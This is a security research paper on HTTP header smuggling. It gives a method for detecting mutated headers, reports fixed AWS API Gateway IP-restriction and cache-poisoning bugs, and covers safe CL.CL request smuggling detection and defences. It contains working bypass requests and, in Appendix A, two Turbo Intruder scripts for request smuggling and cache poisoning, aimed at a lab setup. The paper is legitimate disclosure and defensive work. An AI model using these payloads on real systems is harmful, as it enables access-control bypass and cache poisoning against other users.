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Introduction 
Modern web applications typically rely on chains of multiple servers, which forward HTTP requests 

to one another. The attack surface created by this forwarding is increasingly receiving more 

attention, including the recent popularisation of cache poisoning (1) (2) and request smuggling (3) 

(4) (5) (6) vulnerabilities. Much of this exploration, especially recent request smuggling research, has 

developed new ways to hide HTTP request headers from some servers in the chain while keeping 

them visible to others – a technique known as "header smuggling". This paper presents a new 

technique for identifying header smuggling and demonstrates how header smuggling can lead to 

cache poisoning, IP restriction bypasses, and request smuggling. 

Background 
A chain of HTTP servers used by a web application can often be modelled as consisting of two 

components: 

• A "front-end" server which directly handles requests from users. These servers typically 

handle caching and load balancing, or act as web application firewalls (WAFs). 

• A "back-end" server which the front-end server forwards requests to. This is where the 

application's server-side code runs. 

 

This model is often a simplification of reality. There may be multiple front-end and back-end servers, 

and front-end and back-end servers are often themselves chains of multiple servers. However, this 

model is sufficient to understand and develop the attacks presented in this article, as well as most of 

the recent research into attacking chains of servers. 



Back-end servers often rely on front-end servers providing accurate information in the HTTP request 

headers, such as the client's IP address in the "X-Forwarded-For" header, or the length of the 

request body in the "Content-Length" header. To provide this information accurately, front-end 

servers must filter out the values of these headers provided by the client, which are untrusted and 

cannot be relied upon to be accurate. 

Using header smuggling, it is possible to bypass this filtering and send information to the back-end 

server which it treats as trusted. I will show how this led to bypassing of IP restrictions in AWS API 

Gateway (7), as well as an easily exploitable cache poisoning issue. I will then discuss how the 

methodology used to find these vulnerabilities can also be adapted to safely detect request 

smuggling based on multiple "Content-Length" headers (CL.CL request smuggling) in black-box 

scenarios. 

Methodology 
The method developed by this research to identify header smuggling vulnerabilities determines 

whether a "mutation" can be applied to a header to allow it to be snuck through to a back-end 

server without being recognised or processed by a front-end server. A mutation is simply an 

obfuscation of a header. The following examples are mutated versions of the "Content-Length" 

header: 

Content-Length : 0 
Content-Length abcd: 0 
Content_Length: 0 
[\r]Content-Length: 0 

This method relies on the fact that most web servers will return an error when sent a request with 

an invalid "Content-Length" header: 

Request Response 
GET / HTTP/1.1 
Host: example.com 
Content-Length: z 
 

HTTP/1.1 400 Bad Request 
[…] 
 

The methodology also relies on comparing the responses when valid and invalid values are sent in 

both the regular and a mutated form of the "Content-Length" header. We start by sending valid and 

invalid values in a regular "Content-Length" header to the target: 

Request Response 
GET / HTTP/1.1 
Host: example.com 
Content-Length: 0 
 

HTTP/1.1 200 OK 
Content-Length: 1256 
[…] 
 

 
 

Request Response 
GET / HTTP/1.1 
Host: example.com 
Content-Length: z 
 

HTTP/1.1 400 Bad Request 
Content-Length: 349 
[…] 
 

 



Since including a junk value in the "Content-Length" header causes a difference in response, we can 

infer that at least 1 server in the chain is parsing this header. 

This server chain allows headers to be smuggled through to the back-end by appending characters 

after a space in the header name. So, when we substitute "Content-Length" with "Content-Length 

abcd" in the requests and send the requests again, we get the following results: 

Request Response 
GET / HTTP/1.1 
Host: example.com 
Content-Length abcd: 0 
 

HTTP/1.1 200 OK 
Content-Length: 1256 
[…] 
 

 
 

Request Response 
GET / HTTP/1.1 
Host: example.com 
Content-Length abcd: z 

HTTP/1.1 502 Bad Gateway 
Content-Length: 50 
[…] 
 

 
There are three important things to note here when comparing the responses from the regular and 

the mutated "Content-Length" headers. The first is that an invalid value in each header causes a 

different response than a valid one does. This indicates that at least one server in the chain is parsing 

each of these headers as a "Content-Length" header. 

Secondly, the same response is returned when a valid value is included in each header: 

Request Response 
GET / HTTP/1.1 
Host: example.com 
Content-Length: 0 
 

HTTP/1.1 200 OK 
Content-Length: 1256 
[…] 
 

 

Request Response 
GET / HTTP/1.1 
Host: example.com 
Content-Length abcd: 0 
 

HTTP/1.1 200 OK 
Content-Length: 1256 
[…] 

 

This shows that the presence of the mutated header has not prevented either server from parsing 

the request as normal. This check is important to ensure that the mutation hasn't invalidated the 

request entirely. 

The final important thing to notice is that an invalid value in each header causes different responses 

in the mutated header compared to the regular one: 

Request Response 
GET / HTTP/1.1 
Host: example.com 
Content-Length: z 
 

HTTP/1.1 400 Bad Request 
Content-Length: 349 
[…] 



 

Request Response 
GET / HTTP/1.1 
Host: example.com 
Content-Length abcd: z 
 

HTTP/1.1 502 Bad Gateway 
Content-Length: 50 
[…] 

 

This suggests that the errors are likely originating from different servers in the chain. In other words, 

a front-end server is not parsing our mutated "Content-Length" header as though it is the regular 

"Content-Length" header, while the back-end server is – we have header smuggling. 

Examples 
Bypassing Restrictions 
AWS API Gateway IP Restrictions 
While scanning across bug bounty programs, I noticed that APIs created using AWS API Gateway 

allowed header smuggling by appending characters to the header name after a space – for example 

by changing "X-My-Header: test" to "X-My-Header abcd: test". I also noticed that the "X-Forwarded-

For" header was being stripped and rewritten by a front-end server. 

API Gateway allows you to limit API access to certain IP addresses by using a resource policy (8) such 

as the following: 

{ 
    "Version": "2012-10-17", 
    "Statement": [ 
        { 
            "Effect": "Allow", 
            "Principal": "*", 
            "Action": "execute-api:Invoke", 
            "Resource": "arn:aws:execute-api:eu-west-2:101821422087:uiv82new6b/*/*/*" 
        }, 
        { 
            "Effect": "Deny", 
            "Principal": "*", 
            "Action": "execute-api:Invoke", 
            "Resource": "arn:aws:execute-api:eu-west-2:101821422087:uiv82new6b/*/*/*", 
            "Condition": { 
                "NotIpAddress": { 
                    "aws:SourceIp": [ 
                        “1.2.3.4", 
                        "10.0.0.0/8" 
                    ] 
                } 
            } 
        } 
    ] 
} 
 



This policy limits access to only accept requests from the IP address 1.2.3.4 (which I unfortunately 

don't own) and the private range 10.0.0.0/8. Requests originating from other IP addresses are met 

with an error: 

Request Response 
GET /dev/a HTTP/1.1 
Host: uiv82new6b.execute-api.eu-west-
2.amazonaws.com 
[…] 
 

HTTP/1.1 403 Forbidden 
Content-Type: application/json 
[…] 
 
{"Message":"User: anonymous is not authorized 
to perform: execute-api:Invoke on resource: 
arn:aws:execute-api:eu-west-
2:********2087:uiv82new6b/dev/GET/a with 
an explicit deny"} 

 

Unsurprisingly, simply adding the "X-Forwarded-For" header to a request was no match for AWS' 

security controls: 

Request Response 
GET /dev/a HTTP/1.1 
Host: uiv82new6b.execute-api.eu-west-
2.amazonaws.com 
[…] 
 

HTTP/1.1 403 Forbidden 
Content-Type: application/json 
X-Forwarded-For: 10.0.0.1 
[…] 
 
{"Message":"User: anonymous is not authorized 
to perform: execute-api:Invoke on resource: 
arn:aws:execute-api:eu-west-
2:********2087:uiv82new6b/dev/GET/a with 
an explicit deny"} 

 

However, when applying a mutation which allows header smuggling to this header, access was 

granted: 

Request Response 
GET /dev/a HTTP/1.1 
Host: uiv82new6b.execute-api.eu-west-
2.amazonaws.com 
X-Forwarded-For abcd: 10.0.0.1 
[…] 

HTTP/1.1 201 Created 
Content-Type: application/json 
[…] 
 
A 

 

This allows IP restrictions to be bypassed, but in practical situations it might be hard to pull off. 

Addresses from private ranges are obvious guesses, but if those are not allowed then it might be 

hard to guess an IP address which has been granted access. However, one of the most important 

things I've learnt is to senselessly try stupid things: 



Request Response 
GET /dev/a HTTP/1.1 
Host: uiv82new6b.execute-api.eu-west-
2.amazonaws.com 
X-Forwarded-For abcd: z 
[…] 

HTTP/1.1 201 Created 
Content-Type: application/json 
[…] 
 
A 

 

It turned out that adding the header "X-Forwarded-For abcd: z" to requests allowed IP restrictions 

from AWS resource policies to be bypassed in API gateway. 

AWS Cognito Rate Limiting 
I discovered a similar, but very minor, bug in AWS Cognito (9) during a penetration test. Cognito is an 

authentication provider which you can integrate into your applications to help handle 

authentication. 

After five requests to the “ConfirmForgotPassword” or “ForgotPassword” targets in a short period of 

time, my IP address was temporarily blocked. However, adding "X-Forwarded-For:[0x0b]z" to the 

request allowed 5 more requests to be made. Unfortunately, it wasn't possible to cycle different 

values or valid IP addresses in this header keep gaining five more attempts, meaning the impact of 

this bug is minimal. However, it still acts as a nice example of how header smuggling can be used to 

bypass rate limiting. 

Cache Poisoning 
AWS promptly fixed the IP restriction bypass after I reported it to them. When retesting, I noticed 

that I could still smuggle headers through to the back-end server using the same mutation, leading 

me to wonder if there were any other interesting headers worth trying. 

There are probably some headers that API gateway uses internally which would be interesting, but I 

was unable to identify any of these. What did stand out as interesting was the "Host" header, and I 

started to wonder what would happen if I tried to sneak this header through to back-end servers. 

I setup two APIs using API Gateway – one "victim" API and one "attacker" API: 

Request Response 
GET /message HTTP/1.1 
Host: victim.i.long.lat 
 

HTTP/1.1 200 OK 
Content-Type: application/json 
[…] 
 
{"data":"important","message":"important 
data returned"} 

 

 

Request Response 
GET /message HTTP/1.1 
Host: attacker.i.long.lat 
 

HTTP/1.1 200 OK 
[…] 
 
Poisoned! 

 



The interesting behaviour appeared when including a mutated "Host" header alongside a regular 

"Host" header: 

Request Response 
GET /message HTTP/1.1 
Host: victim.i.long.lat 
Host abcd: attacker.i.long.lat 
 

HTTP/1.1 200 OK 
[…] 
 
Poisoned! 

 

API gateway was returning the response from the API specified in the mutated "Host" header. This is 

in contrast to the behaviour of most web servers, which will not view the mutated "Host" header as 

a "Host" header and instead take the host from the regular "Host" header. This becomes interesting 

when such a server is acting as a cache in front of API gateway, as it will cache the result of the 

above request as though it was a request for "victim.i.long.lat", even though the response is from 

the "attacker.i.long.lat" API. 

 

To demonstrate this, I setup CloudFront (10) in front of API Gateway with the "AllViewer" request 

policy, which causes all headers to be forwarded. Sending the above request, and then requesting 

https://victim.i.long.lat/a shows that the response from the attacker's API has been stored in the 

cache for the victim's API: 

Request Response 
GET /message HTTP/1.1 
Host: victim.i.long.lat 
Host abcd: attacker.i.long.lat 
 

HTTP/1.1 200 OK 
[…] 
 
Poisoned! 

 

 

Request Response 
GET /message HTTP/1.1 
Host: victim.i.long.lat 
 

HTTP/1.1 200 OK 
Age: 3 
[…] 
 
Poisoned! 

 

https://victim.i.long.lat/a


This cache poisoning is rather easy to exploit as an attacker can setup their own API and return 

arbitrary content for any path. This allows them to completely overwrite any entry in the victim's 

cache, effectively allowing them to completely control the content of the victim's API. 

Request Smuggling 
Amit Klein's Bug 
At Black Hat USA 2020 Amit Klein presented a request smuggling based on 2 "Content-Length" 

headers ("CL.CL" request smuggling). The bug could be triggered when Squid (11) was used as a 

reverse proxy in front of the Abyss web server (12) using the following requests sent in the same 

connection: 

POST /b.shtml HTTP/1.1 

Host: squid01.rslab 

Connection: Keep-Alive 

Content-Length: 33 

Content-Length abcde: 0 

 

GET /a.html HTTP/1.1 

Something: GET /doesntexist HTTP/1.1 

Host: squid01.rslab 

The first request, shown in green, contains two "Content-Length" headers – 1 mutated and the other 

unmutated. Squid will only parse the unmutated header, and will take the length of the first 

request's body to be 33 bytes, which is shown in blue. Squid then takes the second request to be the 

one shown in red – a "GET" request to "/doesntexist". 

Abyss on the other hand will parse both the mutated and unmutated "Content-Length" headers, and 

takes the values of 0 bytes from the mutated header. It therefore thinks that the second request is 

the one which starts in blue – a "GET" request to "/a.html". 

 

The total effect of this is that Abyss responds with the content for "/a.html", and Squid caches this 

response for the path "/doesntexist", giving cache poisoning. 

Methodology Background 
Klein's research is particularly interesting as it showed that CL.CL request smuggling exists in modern 

systems, despite it being a bug that felt almost too simple. Klein worked in a white box scenario to 



find this vulnerability, though I set out to find a methodology which could detect CL.CL request 

smuggling in black box scenarios.1 

James Kettle's research which popularised request smuggling presented a simple methodology for 

safely detecting request smuggling based on a "Content-Length" and a "Transfer-Encoding" header 

("CL.TE" and "TE.CL" request smuggling) using timeouts. This methodology attempts to cause the 

back-end to expect more content than is forwarded by the front-end to trigger a timeout from the 

back-end. By scanning for CL.TE request smuggling first, it's possible to minimise the risk of affecting 

other users' requests when testing a vulnerable system. 

An attempt to do the same with CL.CL request smuggling might look similar to the following: 

POST /b.shtml HTTP/1.1 

Host: squid01.rslab 

Connection: Keep-Alive 

Content-Length: 0 

Content-Length abcde: 1 

 

z 

Against a vulnerable system where the front-end reads the unmutated "Content-Length" header and 

the back-end reads the mutated version, this will usually cause a timeout. Though in the case of the 

Squid and Abyss setup, no timeout will be caused as Abyss does not wait for the body to be sent 

before replying to the "POST" request. 

The danger comes when this request is sent to a vulnerable system where the front-end reads the 

mutated header, and the back-end reads the unmutated version. The front-end server will forward 

the "z" body, which the back-end server will believe to be the start of the next request. The socket 

has then been poisoned, and there is a high chance of another user's request failing due to the 

backend server seeing the request method as, for example, "zGET".2 

If we don't know which "Content-Length" header the front-end server is going to parse, we have a 

50% chance of causing a timeout in a vulnerable system, and a 50% chance of poisoning the socket, 

potentially causing another user's request to fail. 

Methodology 
The methodology used to detect header smuggling can be modified slightly to create a safe CL.CL 

request smuggling detection methodology. The following example shows how this modified 

methodology can be used to detect Klein's bug in Squid and Abyss. 

First, send a "baseline" request to the target system with the pair of "Content-Length" headers 

which are being tested: 

 
1 Trying to detect CL.CL request smuggling was the origin of this research project. 
2 Some scanning with zgrab suggests that this risk can be minimised, though not completely eliminated, by 
making the body a CRLF which most web servers will discard from the start of a request. 



Request Response 
POST /b.shtml HTTP/1.1 
Host: squid01.rslab 
Connection: Keep-Alive 
Content-Length: 0 
Content-Length abcd: 0 
 

HTTP/1.1 200 OK 
Content-Length: 86 
[…] 

 

The next step is to send the same request two times more - once with a junk value in each "Content-

Length" header: 

Request Response 
POST /b.shtml HTTP/1.1 
Host: squid01.rslab 
Connection: Keep-Alive 
Content-Length: z 
Content-Length abcd: 0 
 

HTTP/1.1 411 Length Required 
Content-Length: 4213 
[…] 
 

 

 

Request Response 
POST /b.shtml HTTP/1.1 
Host: squid01.rslab 
Connection: Keep-Alive 
Content-Length: 0 
Content-Length abcd: z 
 

HTTP/1.1 400 Bad Request 
Content-Length: 338 
[…] 
 

Comparing the 3 responses, we notice that: 

• Both the requests containing junk values triggered responses which are different from the 

baseline response. This indicates that the value of each header is being parsed by at least 1 

server. 

• The responses to the requests containing junk values are different. This suggests that the 

errors are coming from different servers, and therefore different servers in the chain are 

parsing the different versions of the "Content-Length" header. 

These conditions indicate potential CL.CL request smuggling. When moving beyond this point with 

the investigation it is important to know which header the front-end server is parsing to minimise 

the chance of poisoning the socket and affecting other users. 

This can be achieved by sending a request with a single, unmutated "Content-Length" header, and 

observing the resulting error: 

Request Response 
POST /b.shtml HTTP/1.1 
Host: squid01.rslab 
Connection: Keep-Alive 
Content-Length: z 
 

HTTP/1.1 411 Length Required 
Content-Length: 4213 
[…] 

 



As the front-end server is almost certainly parsing the "Content-Length" header in this request, the 

resulting error is likely generated by the front-end server. By comparing this error to the ones 

generated earlier in the process, we see that it is the same error generated when the headers 

"Content-Length: z" and "Content-Length abcd: 0" are sent in the same request. Hence, the front-

end server is parsing the unmutated "Content-Length" header, and the back-end server the mutated 

one.3 

These requests only indicate a potential request smuggling vulnerability, though it is far from 

certain. For example, many servers will process both forms of the "Content-Length" header, but 

throw an error when they have different values, making request smuggling impossible. 

To continue the investigation, timeouts can be a good next step to confirm the behaviour. However, 

these are not always reliable, and sometimes exploitation attempts will be required. 

Exploitation with Turbo Intruder 
The exploitation steps from this point are very similar to those used by Kettle in his research. They 

largely rely on Turbo Intruder (13) scripts which send 1 request to poison the socket, quickly 

followed by multiple benign requests with the hope that one of these requests is poisoned. 

Appendix A contains a modified version of one of Kettle's Turbo Intruder scripts which attempts to 

exploit CL.CL request smuggling to cause a 404 error. This is often the simplest way to confirm 

request smuggling. Appendix A also contains a similar script which attempts to trigger cache 

poisoning. 

These scripts are configured to run against my lab environment using Squid and Abyss, though can 

easily be modified to target other systems using other mutations. You may find them a useful 

starting point when trying to exploit CL.CL request smuggling in other systems. 

Tooling 
Once a mutation which allows header smuggling has been identified, the next step is to find an 

interesting header to sneak through to the back-end. Sometimes you may know a header you wish 

try, however, there is often no obvious choice. To assist with this second case, as well as to help find 

mutations which lead to header smuggling, I am releasing a fork of James Kettle's Param Miner Burp 

Suite extension (14). This will be made available from the version of this paper available at 

https://intruder.io/research shortly after Black Hat Europe 2021. 

This fork will first search for mutations which lead to smuggling using the methodology described 

above. It will then attempt to guess headers using Param Miner's normal technique, except it will 

apply mutations to each header while guessing to sneak it through to the back-end. This allows a 

large number of headers to easily be smuggled through, which can expose interesting behaviour.  

Defences 
Defending against these types of bugs can be somewhat complicated as they rely on differences in 

implementations between web servers, rather than a specific flaw in 1 web server. One of the main 

 
3 You may notice that this logic can be used to make timeout-based detections safe for CL.CL request 
smuggling. As some vulnerable setups, including the Squid and Abyss setup, will not produce a timeout, I chose 
to use the purely error-based approach presented here. 

https://intruder.io/research


defences is to scan your systems with the fork of Param Miner released as part of this research to try 

and identify any vulnerabilities. 

Front-end servers should avoid forwarding weirdly formatted headers. This is the approach being 

taken by AWS with API gateway – including writing tests to validate this behaviour. This also 

prevented Cloudflare (15) from being used in the cache poisoning example, as they do not forward 

any headers with a space in the name. 

There is a concept known as "Postel's Law" (16) which states that you should "be liberal in what you 

accept, and conservative in what you send" when dealing with protocols such as HTTP. While the 

idea of being liberal in parsing HTTP requests may be beneficial to front-end servers, which receive 

requests from a multitude of different clients which each contain their own quirks, some setups may 

allow back-end servers to be stricter. If the front-end server filters or normalises a request before it 

is forwarded, the back-end server should not be exposed to quirks form a wide range of clients. 

Instead, handling of these quirks can be entrusted entirely to the front-end server, and the back-end 

server only has to accept requests from one client – the front-end server. 

Conclusion 
While often considered to be just a tool for request smuggling, header smuggling can produce 

interesting behaviours and vulnerabilities when considered in its own right. The methodology and 

tooling developed for this research makes identifying header smuggling and resulting vulnerabilities 

easier. This research has shown how header smuggling can be used to bypass restrictions and to 

achieve cache poisoning, though there are likely many more vulnerabilities waiting to be found.  

I have also demonstrated a methodology for safely identifying CL.CL request smuggling in black-box 

scenarios, and released Turbo Intruder scripts to aid in exploiting CL.CL request smuggling. 

Thanks 
I would like to thank the AWS security team, and in particular Dan Urson, for their response to the 

vulnerabilities found during this research. The disclosure process has been incredibly smooth, and 

they've worked very fast to resolve the vulnerabilities considering the scale of their infrastructure. 
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Appendix A – Turbo Intruder Scripts 
GitHub Gists 
The scripts included below are also available as GitHub gists from the following URLs: 

404 confirmation script: 

https://gist.github.com/DanielIntruder/ddd773e95ad78895cedb064401a938fa 

Cache poisoning script: 

https://gist.github.com/DanielIntruder/e235ab83d095bde25219e0d4f178087d 

404 Confirmation Script 
# if you edit this file, ensure you keep the line endings as CRLF or you'll have a bad time 

def queueRequests(target, wordlists): 

 

    # to use Burp's HTTP stack for upstream proxy rules etc, use engine=Engine.BURP 

    engine = RequestEngine(endpoint=target.endpoint, 

                           concurrentConnections=5, 

                           requestsPerConnection=1, # if you increase this from 1, you may get false positives 

                           resumeSSL=False, 

                           timeout=10, 

                           pipeline=False, 

                           maxRetriesPerRequest=0, 

                           engine=Engine.THREADED, 

                           ) 

 

    # The attack to send 

    attack = '''POST /b.shtml HTTP/1.1 

Host: squid01.rslab 

Connection: Keep-Alive 

Content-Length: %d 

Content-Length abcde: 0 

 

''' 

     

    # This will prefix the victim's request. Edit it to achieve the desired effect. 

    prefix = '''GET /404 HTTP/1.1 

Something: ''' 

 

    # The request engine will auto-fix the content-length for us 

    attack += prefix 

    attack = attack % len(prefix) 

    engine.queue(attack) 

 

    victim = '''GET /post.php HTTP/1.1 

Host: squid01.rslab 

 

''' 

https://gist.github.com/DanielIntruder/ddd773e95ad78895cedb064401a938fa
https://gist.github.com/DanielIntruder/e235ab83d095bde25219e0d4f178087d


    for i in range(14): 

        engine.queue(victim) 

        time.sleep(0.05) 

 

 

def handleResponse(req, interesting): 

    table.add(req) 

 

Cache Poisoning Script 
# if you edit this file, ensure you keep the line endings as CRLF or you'll have a bad time 

def queueRequests(target, wordlists): 

 

    # to use Burp's HTTP stack for upstream proxy rules etc, use engine=Engine.BURP 

    engine = RequestEngine(endpoint=target.endpoint, 

                           concurrentConnections=5, 

                           requestsPerConnection=1, # if you increase this from 1, you may get false positives 

                           resumeSSL=False, 

                           timeout=10, 

                           pipeline=False, 

                           maxRetriesPerRequest=0, 

                           engine=Engine.THREADED, 

                           ) 

 

    # The attack to send 

    attack = '''POST /b.shtml HTTP/1.1 

Host: squid01.rslab 

Connection: Keep-Alive 

Content-Length: %d 

Content-Length abcde: 0 

 

''' 

     

    # This will prefix the victim's request. Edit it to achieve the desired effect. 

    prefix = '''GET /a.html HTTP/1.1 

Something: ''' 

 

    # The request engine will auto-fix the content-length for us 

    attack += prefix 

    attack = attack % len(prefix) 

    engine.queue(attack) 

 

    victim = '''GET /turbo.html HTTP/1.1 

Host: squid01.rslab 

 

''' 

    for i in range(14): 



        engine.queue(victim) 

        time.sleep(0.05) 

 

 

def handleResponse(req, interesting): 

    table.add(req) 

 


